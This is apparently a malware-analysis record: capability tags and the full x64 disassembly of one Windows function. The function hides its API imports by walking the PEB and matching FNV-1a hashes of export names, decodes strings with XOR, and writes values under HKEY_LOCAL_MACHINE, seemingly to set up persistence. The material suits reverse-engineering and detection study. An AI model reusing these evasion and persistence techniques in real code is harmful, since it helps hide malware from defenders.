Function at 0x14002e630
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x14003e010]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rsi, rdx
mov r15, rcx
mov qword [rbp - 8], rcx
xor r14d, r14d
mov dword [rbp + 4], 1
mov dword [rbp + 8], 1
mov dword [rbp], 3
mov rdi, qword [rcx + 0x10]
call fcn.140009750
mov rbx, rax
mov qword [rbp + 0x10], 0xffffffffffffffff
test rdi, rdi
je 0x14002e6d2
lea rcx, [rdi - 1]
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.140008390
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi], 0x5c
je 0x14002e6cd
nop dword [rax]
cmp rdi, rbx
je 0x14002e6d2
dec rdi
cmp byte [rdi], 0x5c
jne 0x14002e6c0
sub rdi, rbx
jmp 0x14002e6d9
mov rdi, 0xffffffffffffffff
inc rdi
lea rcx, [rsp + 0x50]
call fcn.1400047c0
mov r8, rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.14000ee10
nop
mov rdx, rdi
mov rcx, r15
call fcn.14000c1c0
mov r8, 0xffffffffffffffff
mov rdx, rdi
mov rcx, r15
call fcn.14000c150
mov rbx, rax
mov rcx, r15
call fcn.140009750
lea rdx, [rdi + rax]
mov r8, rbx
lea rcx, [rbp + 0x20]
call fcn.14000de20
nop
mov rbx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.140009750
mov rdi, rax
test rbx, rbx
je 0x14002e763
mov r8, rbx
mov edx, 0x2e
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14002e763
sub rbx, rdi
jmp 0x14002e76a
mov rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x50]
call fcn.1400047c0
mov r8, rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x68]
call fcn.14000ee10
nop
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.14000c1c0
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.14000c150
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140009750
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.14000de20
nop
movabs rax, 0x15940405bb36120c
mov qword [rbp - 0x40], rax
movabs rax, 0xf400d51358e82f7d
mov qword [rbp - 0x38], rax
movabs rax, 0xd3ea59de57c0570f
mov qword [rbp - 0x30], rax
movabs rax, 0xcf5e4e8192422f9e
mov qword [rbp - 0x28], rax
movabs rax, 0xc21f7a3c321aca30
mov qword [rbp - 0x20], rax
movabs rcx, 0x186cc169d94fcb9c
mov qword [rbp - 0x18], rcx
movabs r13, 0x56c86960cf456b5f
mov qword [rbp + 0xb0], r13
movabs r12, 0x9b43a17d3d9a5d08
mov qword [rbp + 0xb8], r12
movabs rdi, 0xa78f0ab238b22361
mov qword [rbp + 0xc0], rdi
movabs rbx, 0xaa3d27f7e0277cc2
mov qword [rbp + 0xc8], rbx
movabs rax, 0xc21f7a3c321a9643
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp - 0x20], xmm0
lea r8, [rbp + 0x68]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000cca0
nop
movabs rax, 0x24bc1a09a8203903
mov qword [rbp - 0x60], rax
movabs rax, 0xf52ac91e5cd70171
mov qword [rbp - 0x58], rax
movabs rax, 0xa78f0ab238b27f04
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rbx
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x50], xmm1
lea r8, [rbp + 0x48]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xb0]
call fcn.14000cca0
mov rbx, rax
cmp rsi, rax
je 0x14002e95b
mov rcx, rsi
call fcn.14000a870
mov rcx, rbx
call fcn.14000a870
mov rcx, rsi
call fcn.14000b2d0
mov rdx, rbx
mov rcx, rsi
call fcn.14000b890
lea rcx, [rbp + 0xb0]
call fcn.14000a030
lea rcx, [rbp + 0x48]
call fcn.140009e30
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002ea06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002ea06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xd5d59036
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002ea01
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002e9e0
cmp r8d, 0xf5d9bf6d
je 0x14002ea0b
test r9d, r9d
jne 0x14002e9c0
mov rcx, qword [rcx]
jmp 0x14002e990
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x14002eb19
lea rcx, [rbp + 0x48]
call fcn.140009e30
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002eae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002eae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xdcda1869
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002eae1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002eac0
cmp r8d, 0x621f2e23
je 0x14002eaeb
test r9d, r9d
jne 0x14002eaa0
mov rcx, qword [rcx]
jmp 0x14002ea70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
xor r9d, r9d
mov r8d, pe_nt_image_headers64
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
lea rcx, [rbp + 0x48]
call fcn.140009e30
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002ebb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002ebb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xef7e2da9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002ebb1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002eb90
cmp r8d, 0x62a41a94
je 0x14002ebbb
test r9d, r9d
jne 0x14002eb70
mov rcx, qword [rcx]
jmp 0x14002eb40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
test eax, eax
je 0x14002ec3b
lea rcx, [rbp + 0x48]
call fcn.14000a030
nop
lea rcx, [rbp + 0x68]
call fcn.14000a030
nop
lea rcx, [rbp + 0x20]
call fcn.14000a030
nop
mov rcx, r15
call fcn.14000a030
xor al, al
jmp 0x14002f1b6
mov rcx, r15
call fcn.140009e20
lea rsi, [rax + 4]
movabs rax, 0x56c86960937a5403
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r12
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r12
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
mov r8, r15
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xb0]
call fcn.14000cca0
nop
mov rcx, rax
call fcn.140009e30
mov r14, rax
movabs rax, 0x22a93905a8240616
mov qword [rsp + 0x60], rax
movabs rax, 0x9b43a17d3d9a5d60
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r12
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002ed66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002ed66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x7169e8b7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14002ed61
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14002ed40
cmp r8d, 0x4c44d336
je 0x14002ed6b
test r9d, r9d
jne 0x14002ed20
mov rcx, qword [rcx]
jmp 0x14002ecf0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
lea rcx, [rbp + 0xb0]
call fcn.14000a030
test esi, esi
jne 0x14002f0da
movabs rax, 0x56c86960aa35120b
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r12
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x108], r12
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002ee76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002ee76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x7ce266d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002ee71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002ee50
cmp r8d, 0xc4bbe764
je 0x14002ee7b
test r9d, r9d
jne 0x14002ee30
mov rax, qword [rax]
jmp 0x14002ee00
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
test eax, eax
jne 0x14002f0da
movabs rax, 0x38a72a12a037191a
mov qword [rbp - 0x80], rax
movabs rax, 0x9b43a17d51f52f7c
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], r12
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp - 0x80], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002ef86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002ef86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x5335344a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002ef81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002ef60
cmp r8d, 0x85e89ab7
je 0x14002ef8b
test r9d, r9d
jne 0x14002ef40
mov rax, qword [rax]
jmp 0x14002ef10
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
test eax, eax
jne 0x14002f0da
movabs rax, 0x56c86914bd241f0c
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r12
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r12
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14002f096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002f096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xfd8639bc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002f091
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002f070
cmp r8d, 0x674c2e51
je 0x14002f09b
test r9d, r9d
jne 0x14002f050
mov rax, qword [rax]
jmp 0x14002f020
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 4
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x10]
call r10
mov esi, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002f166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002f166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x48ebdc55
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14002f161
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14002f140
cmp r8d, 0x86351f1a
je 0x14002f16b
test r9d, r9d
jne 0x14002f120
mov rax, qword [rax]
jmp 0x14002f0f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp - 0x10]
call rdx
test esi, esi
sete bl
lea rcx, [rbp + 0x48]
call fcn.14000a030
nop
lea rcx, [rbp + 0x68]
call fcn.14000a030
nop
lea rcx, [rbp + 0x20]
call fcn.14000a030
nop
mov rcx, r15
call fcn.14000a030
movzx eax, bl
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140033050
mov rbx, qword [rsp + 0x280]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret